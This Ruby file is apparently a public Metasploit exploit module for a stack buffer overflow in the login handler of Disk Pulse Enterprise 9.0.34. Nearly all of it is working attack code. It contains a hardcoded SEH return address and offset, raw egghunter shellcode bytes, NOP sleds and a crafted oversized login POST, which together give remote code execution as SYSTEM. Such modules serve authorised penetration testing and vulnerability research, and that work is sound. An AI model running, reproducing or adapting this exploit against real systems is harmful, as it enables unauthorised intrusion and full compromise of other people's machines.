121 lines
3.3 KiB
Ruby
121 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Disk Pulse Enterprise
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9.0.34. If a malicious user sends a malicious HTTP login request,
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it is possible to execute a payload that would run under the Windows
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NT AUTHORITY\SYSTEM account. Due to size constraints, this module
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uses the Egghunter technique.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Chris Higgins', # msf Module -- @ch1gg1ns
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'Tulpa Security' # Original discovery -- @tulpa_security
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],
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'References' =>
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[
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[ 'EDB', '40452' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d\x26"
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},
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'Targets' =>
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[
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[ 'Disk Pulse Enterprise 9.0.34',
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{
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'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
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'Offset' => 12600
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}
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],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Oct 03 2016',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(80)], self.class)
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end
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def check
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET'
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})
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if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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eggoptions =
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{
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:checksum => true,
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:eggtag => "w00t"
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}
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print_status("Generating exploit...")
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sploit = "username=admin"
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sploit << "&password=aaaaa\r\n"
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# Would like to use generate_egghunter(), looking for improvement
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egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
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egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
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sploit << rand_text(target['Offset'] - payload.encoded.length)
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sploit << "w00tw00t"
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sploit << payload.encoded
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sploit << make_nops(70)
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sploit << rand_text(1614)
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# Would like to use generate_seh_record(), looking for improvement
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sploit << "\x90\x90\xEB\x0B"
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sploit << "\x33\xA3\x01\x10"
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sploit << make_nops(20)
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sploit << egghunter
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sploit << make_nops(7000)
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# Total exploit size should be 21747
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print_status("Total exploit size: " + sploit.length.to_s)
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print_status("Triggering the exploit now...")
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print_status("Please be patient, the egghunter may take a while...")
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res = send_request_cgi({
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'uri' => '/login',
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'method' => 'POST',
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'content-type' => 'application/x-www-form-urlencoded',
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'content-length' => '17000',
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'data' => sploit
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})
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handler
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disconnect
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end
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end
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